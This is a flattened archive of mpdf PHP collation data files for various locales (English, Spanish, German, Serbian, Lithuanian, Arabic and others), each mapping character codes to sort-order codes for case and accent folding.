75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, 192 => 224, 200 => 232, 204 => 236, 210 => 242, 217 => 249, 193 => 225, 201 => 233, 205 => 237, 211 => 243, 218 => 250, 194 => 226, 202 => 234, 206 => 238, 212 => 244, 219 => 251, 196 => 228, 214 => 246, 220 => 252, ]; vendor/mpdf/mpdf/data/collations/English_India.php000064400000002551147600022140016202 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Corsican_France.php000064400000002551147600022140016524 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Mexico.php000064400000002533147600022140016416 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/German_Germany.php000064400000002551147600022140016400 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 228 => 97, 230 => 97, 196 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 246 => 111, 338 => 111, 214 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Serbian_(Cyrillic)_Bosnia_and_Herzegovina.php000064400000002201147600022140023511 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/English_Canada.php000064400000002551147600022140016325 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Irish_Ireland.php000064400000002551147600022140016221 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Lithuanian_Lithuania.php000064400000002273147600022140017600 0ustar00 188, 190 => 179, 65 => 97, 228 => 97, 196 => 97, 257 => 97, 256 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 260 => 261, 66 => 98, 67 => 99, 263 => 99, 262 => 99, 268 => 269, 68 => 100, 69 => 101, 233 => 101, 201 => 101, 279 => 101, 278 => 101, 275 => 101, 274 => 101, 280 => 281, 70 => 102, 71 => 103, 291 => 103, 290 => 103, 72 => 104, 73 => 105, 299 => 105, 298 => 105, 302 => 303, 89 => 121, 74 => 106, 75 => 107, 311 => 107, 310 => 107, 76 => 108, 316 => 108, 315 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 324 => 110, 323 => 110, 326 => 110, 325 => 110, 79 => 111, 243 => 111, 211 => 111, 246 => 111, 214 => 111, 333 => 111, 332 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 80 => 112, 81 => 113, 82 => 114, 343 => 114, 342 => 114, 83 => 115, 347 => 115, 346 => 115, 223 => 115, 352 => 353, 84 => 116, 85 => 117, 363 => 117, 362 => 117, 252 => 117, 220 => 117, 370 => 371, 86 => 118, 87 => 119, 88 => 120, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/Spanish_Colombia.php000064400000002533147600022140016717 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/French_Switzerland.php000064400000002551147600022140017300 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Yoruba_Nigeria.php000064400000002551147600022140016404 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Bosnian_(Cyrillic)_Bosnia_and_Herzegovina.php000064400000002201147600022140023517 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Spanish_Bolivia.php000064400000002533147600022140016557 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Arabic_Syria.php000064400000001626147600022140016037 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/French_Principality_of_Monaco.php000064400000002551147600022140021421 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/English_Ireland.php000064400000002551147600022140016534 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Uruguay.php000064400000002533147600022140016633 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Serbian_(Latin)_Serbia.php000064400000002613147600022140017624 0ustar00 711, 65 => 97, 259 => 97, 258 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 261 => 97, 260 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 268 => 269, 262 => 263, 68 => 100, 271 => 100, 270 => 100, 272 => 273, 69 => 101, 283 => 101, 282 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 318 => 108, 317 => 108, 314 => 108, 313 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 328 => 110, 327 => 110, 324 => 110, 323 => 110, 79 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 337 => 111, 336 => 111, 80 => 112, 81 => 113, 82 => 114, 345 => 114, 344 => 114, 341 => 114, 340 => 114, 83 => 115, 347 => 115, 346 => 115, 351 => 115, 350 => 115, 223 => 115, 352 => 353, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/Portuguese_Portugal.php000064400000002551147600022140017524 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Guatemala.php000064400000002533147600022140017072 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 